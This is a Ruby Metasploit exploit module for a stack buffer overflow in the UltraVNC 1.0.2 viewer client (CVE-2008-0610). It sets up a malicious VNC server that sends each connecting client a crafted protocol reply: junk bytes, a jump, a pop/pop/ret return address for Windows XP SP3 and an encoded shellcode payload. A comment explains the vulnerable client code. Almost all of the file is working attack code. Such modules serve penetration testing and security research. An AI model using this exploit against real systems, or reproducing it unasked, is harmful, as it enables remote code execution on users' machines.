89 lines
2.9 KiB
Ruby
89 lines
2.9 KiB
Ruby
##
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# This module requires Metasploit: http://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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class MetasploitModule < Msf::Exploit::Remote
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Rank = NormalRanking
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include Msf::Exploit::Remote::TcpServer
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def initialize(info = {})
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super(update_info(info,
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'Name' => 'UltraVNC 1.0.2 Client (vncviewer.exe) Buffer Overflow',
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'Description' => %q{
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This module exploits a buffer overflow in UltraVNC Viewer 1.0.2 Release.
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If a malicious server responds to a client connection indicating a minor
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protocol version of 14 or 16, a 32-bit integer is subsequently read from
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the TCP stream by the client and directly provided as the trusted size for
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further reading from the TCP stream into a 1024-byte character array on
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the stack.
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},
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'Author' => 'noperand',
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'License' => MSF_LICENSE,
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'References' =>
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[
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[ 'CVE', '2008-0610' ],
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[ 'OSVDB', '42840' ],
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[ 'BID', '27561' ],
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],
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'DefaultOptions' =>
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{
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'EXITFUNC' => 'thread',
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},
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'Payload' =>
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{
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'Space' => 500,
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},
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'Platform' => 'win',
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'Targets' =>
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[
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[ 'Windows XP SP3', { 'Ret' => 0x00421a61 } ], # vncviewer.exe, 1.0.2
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],
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'Privileged' => false,
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'DisclosureDate' => 'Feb 6 2008',
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'DefaultTarget' => 0))
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register_options(
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[
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OptPort.new('SRVPORT', [ true, "The VNCServer daemon port to listen on", 5900 ])
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], self.class)
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end
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def on_client_connect(client)
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return if ((p = regenerate_payload(client)) == nil)
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sploit = rand_text_alpha(1100) # junk, could be more efficient here
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sploit << "\x00\x04\x00\x00" # value to get around a write
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sploit << rand_text_alpha(12) # random junk
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sploit << "\xEB\x06" << make_nops(2) # short relative jump
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sploit << [target.ret].pack('V') # pop/pop/ret (default is in vncviewer.exe)
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sploit << payload.encoded
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=begin
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We prepend the initial 12 bytes including the servers' desired protocol version ("RFB 003.016").
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- These bytes are read directly by a call to ReadExact() with a size of 12.
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...
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if (m_minorVersion == 14 || m_minorVersion == 16)
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{
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int size;
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ReadExact((char *)&size,sizeof(int));
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char mytext[1024]; //10k
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ReadExact(mytext,size);
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mytext[size]=0;
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...
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If minor version is 16 or 14, a 32-bit integer follows indicating the size of our data to read.
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We then append our data.
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=end
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sploit = "\x52\x46\x42\x20\x30\x30\x33\x2e\x30\x31\x36\x0a" << [sploit.length].pack('N') << sploit
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print_status("Sending #{sploit.length} bytes to #{client.getpeername}:#{client.peerport}...")
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client.put(sploit)
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handler(client)
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service.close_client(client)
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end
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end
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